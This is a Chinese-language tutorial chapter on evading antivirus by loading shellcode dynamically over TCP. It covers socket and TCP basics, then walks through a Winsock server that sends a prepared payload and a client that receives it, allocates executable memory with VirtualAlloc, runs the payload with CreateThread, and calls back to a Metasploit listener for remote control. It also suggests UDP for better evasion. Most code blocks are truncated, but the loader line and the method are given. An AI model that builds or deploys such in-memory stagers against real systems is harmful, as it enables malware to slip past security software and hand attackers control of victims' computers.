1.11 动态加载ShellCode绕过杀软
反病毒解决方案通常利用静态分析技术来识别恶意文件,但是如果攻击者使用轻量级的stager(即将代码下载到内存中,而不是磁盘),静态分析技术就可能会失效。使用动态加载ShellCode技术可以绕过大多数防病毒软件的检测,因为它们通常只会检测磁盘上的文件,而不会检测内存中的文件。因此,攻击者可以在内存中加载恶意代码,并且某些防病毒软件可能无法识别它。
基于TCP协议的ShellCode
远程注入是一种黑客攻击技术,通过利用TCP
协议中的Socket
套接字传输ShellCode
攻击载荷,从而实现对受害者计算机的远程控制。攻击者编写一个程序包含恶意ShellCode
代码,并在该程序中启动一个Socket
监听端口,受害者计算机连接攻击者计算机的Socket
监听端口,建立TCP
连接,攻击者将ShellCode
代码通过TCP
连接发送到受害者计算机,ShellCode代码将被注入到受害者计算机的内存中并开始执行,攻击者以此来实现远程控制和反弹后门的目的。
什么是Socket协议,他有哪些应用呢?
Socket(套接字)是一种网络通信协议,可以在不同的计算机之间实现进程间的通信。是应用层和传输层之间的一个接口,它提供了一组用于网络通信的函数,包括创建套接字、绑定套接字、监听连接、接受连接、发送数据、接收数据等。开发人员可以使用这些函数,基于Socket
接口编写网络应用程序,实现不同计算机之间的进程间通信,或者同一计算机上的不同进程之间的通信。
Socket 套接字有两种类型:
- 流式套接字和数据报套接字。流式套接字提供了一种可靠的、面向连接的通信方式,常用于实现基于
TCP
协议的应用程序。 - 数据报套接字则提供了一种不可靠的、无连接的通信方式,常用于实现基于
UDP
协议的应用程序。
Socket 套接字的使用广泛,被广泛应用于互联网上的各种网络应用程序,如 Web 服务器、邮件服务器、FTP 服务器、P2P 文件共享程序等。同时,许多编程语言和操作系统都提供了Socket
接口的实现,使得开发者可以方便地使用Socket
编写网络应用程序。
那什么又是TCP/UDP协议呢?
TCP(Transmission Control Protocol,传输控制协议)是一种基于连接的、可靠的、面向流的传输层协议。它是互联网协议栈中最常用的协议之一,它通过使用序号、确认和重传机制来确保数据在传输过程中不会丢失、重复或损坏。TCP 协议还支持流量控制和拥塞控制,可以根据网络拥塞的情况动态调整数据传输的速率,以保证网络的稳定性和可靠性。
一般而言TCP协议主要实现了以下功能:
- 可靠数据传输:TCP协议通过使用序列号、确认号、重传机制等技术,保证数据的可靠传输。
- 流量控制:TCP协议通过滑动窗口机制来控制发送方和接收方之间的数据传输速率,以避免网络拥塞。
- 拥塞控制:TCP协议通过使用拥塞窗口、慢启动、拥塞避免、快速重传、快速恢复等机制,来控制网络拥塞,以保证网络的稳定性和可靠性。
- 传输顺序控制:TCP协议通过使用序列号来控制数据的传输顺序,以保证接收方能够按照正确的顺序重组数据。
- 连接管理:TCP协议通过三次握手和四次挥手的方式来建立和断开连接,以保证数据传输的可靠性和正确性。
要实现数据通信TCP会经历3次握手,三次握手(Three-way Handshake)是TCP协议用于建立可靠连接的一种方法,它由三个步骤组成,具体流程如下:
- 1.客户端向服务器发送一个SYN(Synchronize Sequence Number,同步序列号)报文,用来请求建立连接。该报文中包含一个随机生成的序列号(Seq)。
- 2.服务器接收到客户端的SYN报文后,向客户端发送一个SYN+ACK(Synchronize Acknowledgement,同步确认)报文,用来确认客户端的请求并表明自己也愿意建立连接。该报文中包含一个确认号(Ack)和另一个随机生成的序列号(Seq)。
- 3.客户端接收到服务器的SYN+ACK报文后,向服务器发送一个ACK(Acknowledgement,确认)报文,用来确认服务器的请求,并表明自己已经准备好传输数据了。该报文中包含一个确认号(Ack),其值为服务器发送的序列号(Seq)加一。
在TCP三次握手中,第一次握手由客户端发起,用来请求建立连接;第二次握手由服务器发起,用来确认客户端的请求并表明自己也愿意建立连接;第三次握手由客户端发起,用来确认服务器的请求,并表明自己已经准备好传输数据了。这样,客户端和服务器就可以互相确认彼此的身份,建立起可靠的连接,确保数据的安全和可靠传输。
经过以上三个步骤,TCP连接就建立起来了,客户端和服务器就可以开始传输数据了,当然这个过程对于开发者而言是透明的,开发者无需知道具体的底层实现细节,只需要使用操作系统中提供的API编程接口即可,我们以Windows
平台为例,当我们需要创建一个Soocket
套接字时,一般会经历如下流程。
首先读者需要引入<Winsock2.h>
此头文件是Windows
平台下套接字编程的主要头文件,提供了socket
等套接字相关的函数和数据类型的定义。#pragma comment(lib, "ws2_32.lib")
是为了链接套接字库文件,确保程序能够正确调用套接字函数。
第一步,初始化Winsock
库,该库提供了套接字编程所需的底层网络协议支持。在使用套接字编程之前,需要先初始化Winsock
库。
使用WSAStartup
函数初始化Winsock
库,函数原型如下:
int WSAStartup( |
- wVersionRequested 参数表示请求的 Winsock 库版本,通常使用宏 MAKEWORD(2, 2),表示请求版本为 2.2。
- lpWSAData 参数是指向一个 WSADATA 结构体的指针,用于返回 Winsock 库的详细信息。
- WSAStartup 函数成功返回 0,失败返回非 0 值。
第二步,创建套接字,使用socket
函数创建套接字,函数原型如下:
SOCKET socket( |
- af 参数表示地址族,通常使用 AF_INET 表示使用 IPv4 地址族。
- type 参数表示套接字类型,常用的有两种:SOCK_STREAM 表示创建流式套接字,SOCK_DGRAM 表示创建数据报套接字。此处使用 SOCK_STREAM,表示创建流式套接字。
- protocol 参数表示协议类型,常用的有两种:IPPROTO_TCP 表示使用 TCP 协议,IPPROTO_UDP 表示使用 UDP 协议。此处使用 IPPROTO_TCP,表示使用 TCP 协议。
- socket 函数成功返回套接字描述符(socket descriptor),失败返回 INVALID_SOCKET。
1.11.1 探索服务端
至此套接字的初始化工作就完成了,而下一步对于服务端
而言,则需要调用Bind
绑定套接字,使用bind()
函数可以绑定一个套接字(socket)
到一个特定的本地地址和端口号。该函数的原型如下:
int bind(SOCKET s, const struct sockaddr *name, int namelen); |
其中,s
是要绑定的套接字,name
是一个指向要绑定的本地地址结构体的指针,namelen
是地址结构体的长度。在IPv4
协议中,name
是一个指向sockaddr_in
结构体的指针,该结构体定义如下:
struct sockaddr_in { |
而读者在初始化时,需要根据要求填充这个套接字为特定的内容,例如将sin.sin_family
设置为AF_INET
表示使用IPv4协议,sin.sin_port
表示绑定端口号,sin.sin_addr.S_un.S_addr
表示本地IP地址,INADDR_ANY
是一个常量,表示本地任意可用的IP地址,当填充结构结束时则可以直接调用bind
函数实现套接字的绑定。
至此服务端再次调用listen
函数,该函数用于将一个已绑定的套接字转换为监听套接字,到出现客户端链接请求时则套接字会接受请求,并路由到accept
函数,accept()
函数,用于接受客户端的连接请求,创建一个新的套接字用于和客户端通信。它的原型如下:
SOCKET accept(SOCKET s, struct sockaddr *addr, int *addrlen); |
其中s
是监听套接字,addr
和addrlen
用于存储客户端的地址信息。accept()
函数会一直阻塞,直到有客户端连接到服务器为止。当有客户端连接到服务器时,accept()
函数会返回一个新的套接字,用于和客户端通信。这个新的套接字是已连接的套接字,它和客户端的套接字已经建立了连接。我们可以使用这个新的套接字进行数据传输。
而当客户端上线并准备就绪时,此时服务端通过调用send
函数(该函数用于向已连接的套接字或者未连接的套接字发送数据),将提前准备好的恶意代码传输给客户端,并通过closesocket
关闭本次执行,等待下一个客户端前来获取ShellCode代码,至此服务端的实现流程就完成了。
格式化ShellCode是传输前提
对于Send
所发送的数据,我们也需要保证其格式,此处我们还需要通过封装实现一个CompressedOnFormat
函数,该函数的主要功能,是将一段ShellCode
代码字节数组压缩为一段纯字符串,并在格式化时将其转化为内存字节类型的数据格式,这可以让套接字更好的实现传输,并在传输过程中保证数据的可用性;
如上图所示则是未被格式化的ShellCode
代码,通过如下CompressedOnFormat()
代码的过滤功能,则会将ShellCode
载荷动态装载到GloShellCode
全局变量中,并返回memory_allocation
也就是返回长度。
|
运行上述代码片段,读者可看到如下图所示的输出结果,可以对比发现,此时的ShellCode已经可以被直接通过Socket传输了;
服务端程序核心代码
而当这些工作都做好以后,接下来我们则需要实现服务端发送程序,在主函数中通过传入path="d://shellcode.txt"
设置当前路径,通过port = 8877
设置侦听端口号,如下核心代码所示;
int main(int argc, char *argv) |
读者手动启动并运行如上述代码片段,如果成功执行则会看到如下所示的输出效果;
1.11.2 探索客户端
与服务端套接字创建相比客户端的创建流程仅仅只是多了connect
连接与注入功能,connect函数用于建立与远程服务器的连接。它的函数原型如下:
int connect(SOCKET s, const struct sockaddr* name, int namelen); |
其中,s
是要建立连接的套接字,name
是指向远程服务器地址的指针,namelen
是name
结构体的大小。connect函数的作用是向指定的服务器发起连接请求。在成功建立连接后,可以使用send
和recv
函数来进行数据的发送和接收。如果连接建立失败,则可以使用WSAGetLastError
函数获取错误码,进而找到失败的原因。
当与服务端的链接一旦被建立,则下一步通过recv()
函数动态接收攻击载荷到本地,并通过CreateThread
开启线程函数,如下则是核心实现原理,读者通过前面的内容应该很容易理解这段话所表达的含义,此处就不再赘述;
void* ShellCode = VirtualAlloc(0, sizeof(GloShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); |
将上述功能总结起来,则读者可获取到如下所示的客户端片段,读者通过port
指定为服务端的端口号,并通过remote_address
指定为服务端的IP地址信息。
|
编译并运行如上代码,则服务端会接收到攻击载荷,并将该载荷动态注入到内存中,实现反弹;
至此,读者打开kali
中的metasploit
组件,则可看到客户端已上线,我们已经拿到了客户端的控制权;
当然读者也可以通过UDP协议实现反弹,而UDP因为是无连接的协议,在发送数据后并不会保证数据的完整性,当使用UDP传输攻击载荷是相对的会比TCP更好,因为UDP默认不保持会话,这对于规避安全软件会有更好的效果,当然读者可以自行尝试改写这段代码,此处笔者只是抛砖引玉为大家解释这种攻击手法的实现细节;